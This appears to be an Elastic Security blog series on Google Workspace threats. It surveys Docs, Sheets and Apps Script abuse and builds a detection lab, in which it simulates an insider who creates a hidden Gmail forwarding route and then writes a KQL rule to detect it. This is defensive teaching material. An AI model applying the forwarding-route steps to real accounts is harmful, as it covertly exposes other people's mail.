Integrated with Google Drive is Google Docs, a free online word processing service where users can create documents which are then stored in their Google Drive. For collaboration purposes, documents have extensive markup capabilities, such as comments, which have recently been abused to distribute phishing and malware. This technique, discussed by Check Point company, Avanan, allows adversaries to simply create a document and add a comment where they include the target’s email address and a malicious link, helping evade spam filters and security tools. Combining this phishing campaign with a native JavaScript application development platform such as Apps Script in GW would allow for expanded distribution with minimal costs. Luckily the extent of malicious Google documents ends with malicious links, but it would be immature to suggest adversaries will not eventually develop new techniques to abuse the service.

Sheets

As with Google Docs, Google Sheets is another service often abused by adversaries to deliver malicious links or payloads. Google Sheets is a spreadsheet program, similar to Excel from Microsoft. Automated tasks can be created with the use of macros and of course triggers for those macros to be executed as well. While built-in functions exist, custom functions can be created via Google’s Apps Script platform and then imported into the Google Sheet document itself. Apps Script has native JavaScript libraries for interacting with other Google services and their respectful APIs. Thus if an adversary were to weaponize a Google Sheet document of their liking, resource development starts with a custom function, built with Apps Script. The function is imported into the Google Sheet and then shared with the intended target by commenting their email address and allowing access. Once triggered, the malicious code from the function would be executed and continue the intrusion process.

A step further may be to share with them a copy link, rather than an edit link which would copy the sheet containing the malicious macro to their own Google drive and upon execution carry out the intended task as the user since the sheet’s owner is now the target. For distribution, access to a user’s contacts within their GW organization, may allow worm-like capabilities as discovered by Sophos in 2017.

Marketplace

GW’s marketplace is an online application store with additional enterprise applications that can be integrated into an organization and accessed by users. Administrators are responsible for managing application accessibility and surveying risk associated with such apps. A large portion of these applications are 3rd-party and Google clearly states their policies for being a contributor. The risk associated with 3rd-party applications in the GW marketplace is access to private data from information repositories (T1213) or the resident data of the user and/or organization behind each application.

Granted for administrators, when browsing applications, permission access can be reviewed via the application itself prior to installation. This way, administrators can review whether the risk inherited from such access is worth the solution it potentially may provide.

Reporting

As with most cloud consoles and environments, GW has a native reporting feature that helps administrators capture the activity in their environment. Located in the admin console of GW under Reporting, administrators have the following options.

• Highlights - Dashboard of basic metrics for GW environments
• Reports - Apps, cost, user and devices reporting in the form of basic dashboard metrics or tabled data about user accounts
• Audit and Investigation - Location of all logs, categorized by activity
• Manage Reporting Rules - Redirection to rules space, filtering on “Reporting” rules which are custom
• Email Log Search - Search across the Gmail accounts of all users within the organization. Filters include Date, Sender, Sender IP, Recipient, Recipient IP, Subject and Message ID
• Application Uptime - Uptime for applications enabled in the GW. Uptime is relative to Google’s infrastructure.

Of this reporting, Google does a decent job of providing tabular data about user status and account activity in GW such as 2-step verification status and password strength, as well as additional security metrics. For example, shared links to Google resources that have been accessed outside of the domain. Additional user report documentation from Google can be found here.

The most reliable data is GW’s native logging, found under “Audit and Investigation”. As stated prior, these logs are organized into their own separate folders based on activity, application, identity or resource.

Logs are stored in a tabular format with date, event, description, actor and IP address all being recorded by default. The description contains another layer of verbosity as to what activity occurred, oftentimes including JSON key and value pairs for specific values pulled from the GW for reporting.

In regards to threats, often adversaries will attempt indicator removal (T1070) by clearing audit logs to remove any potential footprints, however, GW audit logs are managed by Google and have retention policies only. Therefore, it is essential to route audit logs from GW to an on-premise or cloud storage solution such as GCP via storage buckets. For more information on how Elastic’s GW integration routes audit logs, visit here.

Rules

While GW provides a reporting feature that focuses on logging activity within an organization’s digital environment, it also has a detection rules feature as well.

These are not directly marketed as a security information and event management (SIEM) tool, but resemble that functionality. Shipped with some default rules, the “Rules” feature in GW allows administrators to automatically monitor for specific activity and set specific actions. Each rule allows you to customize the conditions for the rule to match on and of course what actions to perform when conditions are met. Rules are broken down into reporting, activity, data protection, system defined, or trust rules where custom creation and viewing require specific privileges.

In regards to granularity, administrators are at the mercy of data sourced from the audit logs when creating custom rules, whereas system defined rules provided by Google have additional data source insight. Rule alerts are directly accessible via the security alert center feature in GW, where further analysis, assignment, status and more can be edited.

Conclusion

With this introduction to GW as an attack surface, we hope you better understand the risks associated with these enterprise resources. Powerful virtual workspaces have become an essential capability of distributed productivity, which both establishes their utility and exposes them to threats. As adversaries continue to abuse GW, enterprises would be well-advised to understand its security while taking ownership of improving it. Proper administration, strong policy settings, IAM, and using the visibility they have are some of the recommendations we would offer.

Soon we’ll release part two in this series and show you have to setup a threat detection lab for GW with Elastic components. And in our third publication, we’ll explore in-depth attack scenarios that reveal specific defensive strategies aligned to success.

As a continuation of this series about Google Workspace’s (GW) attack surface, we diverge from surveying the land and focus on setting up a threat detection lab with Elastic. In part one, we explored the important resources and capabilities of GW, while tracking intrusion techniques that adversaries may leverage. In part two, we will give you the foundation needed to begin researching threats targeting GW, and provide resources for detecting those threats using Elastic technologies. The information used during the steps provided should be adjusted for your own lab and testing environment. If you do not feel the need to set up your own lab, that’s fine as this includes examples showing you how we detect threats to GW.

Following this will be part three of this series, in which we cover common intrusion techniques by emulating the GW environment and simulating threat activity. In doing so, we’ll build detection logic to further detect several common techniques.

Elastic resources will be freely available but a registered domain for GW is necessary and will be covered in the upcoming steps, strictly for maximum authenticity. Approximate lab setup time is 20-30 minutes.

Let’s Get You Up to Speed

For those who may not be familiar with Elastic’s current stack: take a few minutes to review the current solutions it offers. In short, the stack is an all-encompassing product that can be deployed anywhere from a single interface! If you would like to explore more information about the Elastic security solution, the documentation is a great starting point.

In this article, we will focus specifically on the security solution which includes a robust detection engine and 600+ pre-built threat detection rules, an endpoint agent that can be deployed to Windows, Linux, or macOS endpoints and collect data from various on-premise and cloud environments, as well as detect and prevent threats in real-time. Not to mention, this endpoint behavior logic is also all public in our protections artifacts repository.

Our endpoint agent orchestrator, Fleet, is manageable from the Kibana interface in the Elastic Stack. Fleet allows us to set up and deploy security policies to our endpoint agents. These policies are extremely customizable, thanks to an extensive list of supported Integrations.

Think of an Integration as a module for the Elastic Agent that provides processors to collect specific data. When added to our security policy, an Integration allows the Elastic Agent to ingest logs, apply our Elastic Common Schema (ECS), and store them in the Elastic Stack for searching or to trigger alerts. If you're curious about a specific integration Elastic has, you can search for it here!

With this information you could almost assume the Elastic Stack allows you to manage all of this with just one information technology (IT) guy.

Either way, our goal is to create a threat detection lab for Google Workspace as depicted in this diagram:

The process of setting this up is pretty straightforward. Note that your environment does not have to be cloud-focused; if you prefer to do everything locally, you are more than welcome to. The Elastic Container Project is a great resource for a local Docker build of the stack.

Sign-Up for Google Workspace

In order for you to use GW, you must have a registered Google account email address and organization. If you already have a GW setup for an organization, login to the admin console and continue to Create a Project in Google Cloud. This process will not go into detail about creating a Google account.

Once created, do the following:

1. Visit https://workspace.google.com > Get Started
2. Fill out the information requested in subsequent steps
3. Business name: DeJesus’ Archeology
4. Number of employees: 2-9
5. Region: United States

For this lab, we will use DeJesus’ Archeology as a business name because it's memorable (also who didn't want to be an archeologist growing up?). We'll be digging up more recent evidence in these logs than we would from the earth, of course.

Eventually you will be asked, “Does your business have a domain?”. GW requires you to have your own domain name to use its services, especially the admin console for an organization. For today, we will select “No, I need one” and will use dejesusarcheology.com, but please select or use your own. From here, you will need to enter additional business information to register your domain and organization.

You will need a username to sign into your GW account and create your business email address. We'll use terrance@dejesusarcheology.com as the administrative email. When finished, continue to login to your GW admin console with your new email where you should be greeted by a similar interface below.

Setup Google Cloud Platform (GCP)

For the Elastic agent to ingest GW logs, it relies solely on making requests to the Reports API and therefore, we need to leverage GCP for a managed service account. This service account’s credentials will be used by our Elastic agent to then leverage the admin SDK API for pulling logs from GW’s Reports API into the Elastic Stack. Domain-wide delegation and OAuth2 are important for authentication and resource access but will be enabled through steps later on.

Create a Project

GCP is hierarchical, so we must first create a project. If you already have a GCP environment setup, we recommend creating a new project that links to your GW via the registered domain by following similar steps below.

Complete the following steps:

1. Log into Google Cloudwith the same Google account used to setup GW
2. Select the following: Select a project > New Project
3. Enter the following information described in subsequent steps
4. Project name: dejesus-archeology
5. Organization: dejesusarcheology.com
6. Location: dejesusarcheology.com

When done, you should have a new organization and project in GCP. By default, only the creator of the project has rights to manage the project.

Enable Admin SDK API

Our Elastic agent will eventually use our GCP service account, which uses the Workspace Admin SDK to interact with the GW admin console REST API, therefore it needs to be enabled in GCP. To keep your mind at ease, we will only be enabling read access to the Reports API for this admin SDK.

Complete the following steps:

• Select the Google Cloud navigation menu > APIs & Services > Enabled APIs & Services
• Search and enable “Admin SDK API” from the API library page

When finished, you will have enabled the Admin SDK API within your project, where your service account will have access to pull data from GW.

Configure OAuth Consent Screen

We next need to set up the OAuth consent screen for our service account and application when they create API requests to GW, as it will include the necessary authorization token.

Complete the following steps:

1. Select the Google Cloud navigation menu > APIs & Services > Enabled APIs & Services > OAuth Consent Screen
2. User Type > Internal > Create
3. Fill out the following information in subsequent steps
4. App name: elastic-agent
5. User support email: terrance@dejesusarcheology.com
6. Authorized domains: dejesusarcheology.com
7. Developer contact information: terrance@dejesusarcheology.com
8. Save and Continue
9. Save and Continue
10. Back to Dashboard

When finished, we will now have a registered application using OAuth 2.0 for authorization and the consent screen information set. Please note, the default token request limit for this app daily is 10,000 but can be increased. We recommend setting your Elastic agent’s pull rate to every 10 minutes which should not come close to this reaching this threshold. Setting the agent’s pull rate will be done at a later step.

Create a Service Account

For the Elastic agent to ingest data from GW, we will need to create a service account for the agent to use. This account is meant for non-human applications, allowing it to access resources in GW via the Admin SDK API we enabled earlier.

To create a service account, do the following:

1. Select the navigation menu in Google Cloud > APIs & Services > Credentials > Create Credentials > Service Account
2. Enter the following information:
3. Service account name: elastic-agent
4. Service account ID: elastic-agent
5. Leave the rest blank and continue
6. Select your new Service Account > Keys > Add Key > Create New Key > JSON

By default, the Owner role will be applied to this service account based on inheritance from the project, feel free to scope permissions tighter as best seen fit. When finished, you should have a service account named elastic-agent, credentials for this service account in a JSON file saved to your host. We will enter this information during our Fleet policy integration setup.

Enable Domain-Wide Delegation

Our service account will need domain-wide delegation of permissions to access APIs that reach outside of GCP and into GW. The important data necessary for this has already been established in earlier steps where we need an API key, service account and OAuth client ID.

To enable domain-wide delegation for your service account, do the following:

1. In your GW Admin Console select > Navigation Menu > Security > Access and data control > API controls
2. Select Manage Domain Wide Delegation > Add New
3. Client ID: OAuth ID from Service Account in GCP
4. Google Cloud Console > IAM & Admin > Service Accounts > OAuth 2 Client ID (copy to clipboard)
5. OAuth Scopes: https://www.googleapis.com/auth/admin.reports.audit.readonly

Our service account in GCP only needs access to admin.reports.audit.readonly to access GW Audit Reports where these are converted into ECS documents for our Elastic Stack.

If you made it this far, CONGRATULATIONS you are doing outstanding! Your GW and GCP environments are now set up and finished. At this point you are almost done, we just need to set up the Elastic Stack.

Setting Up Your Free Cloud Stack

For this lab, we will use a free trialof cloud elastic with your preference of a Google or Microsoft email account. You also have the option to create the stack in Amazon Web Services (AWS), GCP or Microsoft Azure if you’d like to stand up your stack in an existing Cloud Service Provider (CSP). The free trial will deploy the stack to GCP.

Once registered for the free trial, we can focus on configuring the Elastic Stack deployment. For this lab, we will call our deployment gw-threat-detection and deploy it in GCP. It is fine to leave the default settings for your deployment and we recommend the latest version for all the latest features. For the purposes of this demo, we use the following:

• Name: gw-threat-detection
• Cloud provider: Google Cloud
• Region: Iowa (us-central1)
• Hardware profile: Storage optimized
• Version: 8.4.1 (latest)

Once set, select “Create deployment” and the Elastic Stack will automatically be deployed in GCP where your deployment credentials will be displayed. You can download these credentials as a CSV file or save them wherever you best see fit, but they are crucial to logging into your deployed stack. The deployment takes approximately ~5 minutes to complete and once finished you can select “continue” to login. Congratulations, you have successfully deployed the Elastic Stack within minutes!

Setup Fleet from the Security Solution

As a reminder, Fleet enables the creation of a security policy, which can incorporate the GW integrationon an elastic-agent, in order to access and ingest GW logs into our stack.

Create a Google Workspace Policy

In order for our Elastic Agent to know which integration it is using, what data to gather and where to stream that data within our stack, we must first set up a custom Fleet policy, named Google Workspace.

To setup a fleet policy within your Elastic Stack, do the following in your Elastic Stack:

• Navigation menu > Management > Fleet > Agent Policies > Create agent policy
• Enter “Google Workspace” as a name > Create Agent Policy

Install the Elastic agent on an Endpoint

As previously mentioned, we have to install at least one agent on an endpoint to access data in GW, and will be subject to the deployed GW policy. We recommend a lightweight Linux host, either as a VM locally or in a CSP such as GCP to keep everything in the same environment. I will be using a VM instance of Ubuntu 20.04 LTS VM in Google’s Compute Engine (GCE) of the same GCP project we have been working on. Your endpoint can be lightweight, such as GCP N1 or E2 series, as its sole purpose is to run the Elastic agent.

After your endpoint is setup, do the following in your Elastic Stack to deploy your the agent:

1. Navigation menu > Management > Fleet > Agents > Add Agent
2. Ensure the GW policy is selected
3. Select the appropriate OS
4. Select the clipboard icon to copy the commands
5. Run the commands on your endpoint to install the agent
6. Once finished, Fleet should show a checkmark and state 1 agent has been enrolled and Incoming data confirmed

Assign Google Workspace Integration to Fleet Policy

We must add the GW integration to our GW policy in order for it to collect data from GW and stream it to our Elastic Stack. We will configure the GW integration settings to have information created when we set up our GW environment to avoid having unsecured credentials on our Ubuntu host.

⚠️ The GW integration has a default interval of 2 hours, meaning the Elastic agent will retrieve data every 2 hours due to potential data retention and lag times. This should be adjusted in the integration itself and is accounted for in the following steps within your Elastic Stack:

1. Navigation menu > Fleet > Agent Policies > Google Workspace > Add Integration
2. Search for “Google Workspace” > Select Google Workspace
3. Select “Add Google Workspace”
4. Enter the following information for this integration:
5. Integration name: google workspace
6. Jwt File: Copy contents of JSON file from service account creation steps
7. Delegated Account: terrance@dejesusarcheology.com (Use your own)
8. Interval: 10m
9. Agent policy: Google Workspace
10. Select “Save and Continue”
11. Select “Save and deploy changes”

Once completed, your GW integration should be assigned to your GW policy with one agent assigned this policy.

To recap on our Elastic Stack setup so far we have completed the following:

• Deployed an Elastic Stack
• Created a Fleet policy
• Setup a lightweight Linux endpoint
• Deployed an Elastic agent to the Linux endpoint
• Enabled the Google Workspace integration inside our Fleet policy

Assign Google Workspace Integration to Fleet Policy

Rather than rely on the detection engineering (DE) higher powers, let’s take a second to actually confirm GW data is being ingested into our stack as expected at this point. We can rely on the Discovery feature of the Elastic Stack which allows us to search specific criteria across existing ECS documents. For this, we will use the filter criteria data_stream.dataset : "google_workspace.*" to look for any ECS documents that originate from a Google Workspace datastream.

If you do not have any results, generate some activity within your GW such as creating new users, enabling email routes, creating new Organizational Units (OU) and so forth, then refresh this query after the 10 minute window has surpassed.

If results are found, congratulations are in order because you now have a fully functional threat detection lab for Google Workspace with the Elastic Security for SIEM!

Enable Google Workspace Detection Rules

As stated earlier, Elastic has 600+ pre-built detection rules not only for Windows, Linux and MacOS endpoints, as well as several integrations including GW. You can view our current existing GW rules and MITRE ATT&CK coverage.

To enable GW rules, complete the following in the Elastic Stack:

1. Navigation menu > Security > Manage > Rules
2. Select “Load Elastic prebuilt rules and timeline templates”
3. Once all rules are loaded:
4. Select “Tags” dropdown
5. Search “Google Workspace”
6. Select all rules > Build actions dropdown > Enable

While we won’t go in-depth about exploring all rule information, we recommend doing so. Elastic has some additional information such as related integrations, investigation guides and more! Also, you can contribute back to the community by creating your own detection rule with the “Create new rule” button, and contribute to our detection rules repository.

Let’s Trigger a Pre-Built Rule

For this example, we will provoke the Google Workspace Custom Admin Role Created detection rule. In our GW admin console, visit Account > Admin roles and create a new role with the following information:

1. Name: Curator
2. Description: Your Choice
3. Admin console privileges:
4. Alert Center: Full Access

Now, we aren’t entirely sure why the Curator role would have access to our Alert Center, but the role seems either improperly scoped or someone wants to have the ability to potentially silence some alerts before our security team can investigate them. While the creation of administrative accounts (T1136.003) is not unusual, they should always be investigated if unexpected to ensure cloud roles (T1098.003) are properly scoped.

To view our detection alert, in your Elastic Stack, visit Navigation Menu > Security > Alerts and the following should show your alerts. From this, we can see that our rule triggered as well as Google Workspace API Access Granted via Domain-Wide Delegation of Authority.

If we select “View details” from the actions column, we receive a pop-out panel showing the alert overview, tabled data fields and values from our ECS document, as well as the raw JSON.

Most detection rules for GW can be developed with a few consistent fields such as those we describe in our documentation, making new rules easier to create. If you would like to view all data fields for GW that the ECS schema contains, you can find that information here.

Let’s Trigger a Custom Rule

While pre-built detection rules are great for having threat coverage during onboarding, maybe you would like to search your data and create a new custom rule tailored to your environment.

Since the Elastic Stack is bundled with additional searching capabilities, we can rely on the Analytics Discover feature to start searching through our raw data for GW related documents by visiting Navigation Menu > Analytics > Discover.

From here, we can change our data view to logs-* and then do an open-ended KQL query for event.dataset: google_workspace* which will return all documents where the source is from GW. You can then either start tabling the data based on available fields or view details about each document.

This is important to understand because it influences rule development. Rules are often prototyped as a data reduction exercise, beginning very broad and being refined over time into an effective rule. If you are having difficulty after this exercise with creating detection logic, our philosophy on doing so may be of assistance.

First, we will add a user, Ray Arnold, to our organization who has administrative access. With our Ray Arnold account, we will generate some suspicious events in GW, such as creating a custom email route for Gmail that forwards email destined to our primary administrator (Terrance), to Ray Arnold. In this scenario we are focused on potential collection of sensitive information via email collection via an email forwarding rule (T1114.003)

Complete the following steps:

1. Add Ray Arnold as a user:
2. Navigate to the users settings in GW
3. Select “add new user”
4. First name: Ray
5. Last name: Arnold
6. Select “ADD NEW USER”
7. Add Engineers group and make Ray Arnold the owner:
8. Navigate to groups settings in GW

You can configure the following settings like these examples:

1. Group name: Engineers
2. Group email: engineering@dejesusarcheology.com
3. Group Description: Engineering group at dinosaur park who are responsible for technology and feeding velociraptors.
4. Group owners: ray@dejesusarcheology.com
5. Labels: Mailing and Security
6. Who can join the group: Only invited users
7. Select “Create Group”

Now we assign admin roles and privileges to Ray Arnold: 1. Navigate to Ray Arnold’s user account 2. Select “Admin roles and privileges” > Assign Roles 3. Super Admin -> Assigned 4. Groups Admin -> Assigned 5. Services Admin -> Assigned 6. Select “Save”

If done correctly, Ray Arnold should be a new user in GW for the DeJesus’ Archeology organization. He is also the owner of the Engineers group and has Super Admin, Groups Admin and Services Admin roles assigned to his account. Following this, we need to login to the GW admin console with Ray Arnold’s account and add a custom email route.

This provides our organization with an insider threat scenario. Ray Arnold was hired as an employee with authorization and authentication to GW admin console settings. Our organization trusts that Ray Arnold will receive compensation for the requirements agreed to during the hiring process. Risk-mitigation is then up to the administrator when scoping the proper permissions and roles applied to Ray Arnold.

Complete the following:

1. Login to the admin console with Ray Arnold’s account
2. Select Navigation Menu > Apps > Google Workspace > Gmail > Routing
3. Select Configure for “Routing”
4. Enter the following information
5. Description: Default administrator spam filtering
6. Email messages to affect: Inbound, Outbound, Internal - Sending, Internal - Receiving
7. Also deliver to: ray@dejesusarcheology.com
8. Account types to affect: Users
9. Envelope filter: Only affect specific envelope recipients (Email address: terrance@dejesusarcheology.com)

Now we can test our custom email route by sending terrance@dejesusarcheology.com an email from a separate email (We created a random email account with Proton), that is private and discusses private details about new Paleo-DNA. Once you send an email, you can view Ray Arnold’s Gmail and see that this private email was additionally routed to ray@dejesusarcheology.com, where we now have an existing insider threat potentially selling private information about our Paleo-DNA tests to competitors. This we cannot allow!

Identify a Potential Detection Rule for Custom Gmail Routes

Luckily, we have the Elastic Stack on our side to help us thwart this potential insider threat by detecting custom Gmail route creations! Within your Elastic Stack, visit Navigation Menu > Analytics > Discover and let’s start creating our KQL query. Below are the query filters we should be looking for and the final query.

KQL query:event.dataset: google_workspace.admin and event.action: "CREATE_GMAIL_SETTING" and not related.user: terrance and google_workspace.admin.setting.name: (MESSAGE_SECURITY_RULE or EMAIL_ROUTE)

Let’s break this down further to explain what we are looking for:

event.dataset: google_workspace.admin - Documents in ECS where the data sourced from GW, specifically admin reporting. Since a user needs to be an administrator, we should expect data to source from admin reporting, which may also indicate a compromised admin account or abuse of an admin not setup with principle of least-privilege (PoLP).

event.action: "CREATE_GMAIL_SETTING" - The creation of a Gmail setting which is typically done by administrators.

not related.user: terrance - So far, any creation of a Gmail setting by an administrator whose username is not “terrance” who is the only administrator that is expected to be touching such settings.

google_workspace.admin.setting.name: (MESSAGE_SECURITY_RULE or EMAIL_ROUTE) - This setting name is specific to Gmail routing rules.

Plugging this query into Discover, we have matching documents for this activity being reported in GW!

Create a Custom Rule in the Security Feature

Let’s wrap this up by adding our custom detection rule for this!

To add your custom rule, complete the following:

1. In your Elastic Stack, select Navigation menu > Security > Manage > Rules
2. Select “Create new rule”
3. Enter the following information:
4. Define rule: Source, Index Patterns: logs-google_workspace*
5. Custom query: Our custom query

And we define rule metadata:

1. Name: Google Workspace Custom Forwarding Email Route Created
2. Description: Your choice
3. Default severity: High
4. Tags: Google Workspace

What is fantastic about this custom rule is we can send a notification via our platform of choice so we are notified immediately when this alert is triggered.

Then select “Create & enable rule” at the bottom to create your custom rule. If we replay the steps above to create a custom Gmail forwarding rule, we will now see an alert and receive a notification about the alert trigger!

At this point, we are now aware that Ray Arnold has created a custom Gmail route rule in GW with no authorization. From our alert in the Elastic Stack and notification to the CEO, we can now take action to mitigate further risk.

Takeaways

As demonstrated, Elastic’s security solution and the Elastic Stack allow us to ingest GW reporting logs and scan this data with pre-built detection rules or custom rules. Combine this with other features of the stack such as Enterprise Search, Observability, and a very simple cloud stack deployment process and we can start detecting threats in our GW environment in no time.

It’s been quite a journey and you have accomplished an incredible amount of work. In part three of this series: Detecting Common Threats, we will emulate some common Google Workspace abuse by threat actors and create more advanced detection logic for these. Hold on tight, because it's about to get WILD.

Also, there is still so much more to explore within the Elastic Stack, as you have probably already found during this lab, so feel free to explore! Elastic continues to take action on security transparency as recently discussed.

Hopefully this provides you with a better understanding of the powerful capabilities within the Elastic Stack and how to use it to detect potential threats in GW. Thanks for reading/following along and may we all be in the capable hands of detection engineers in part three.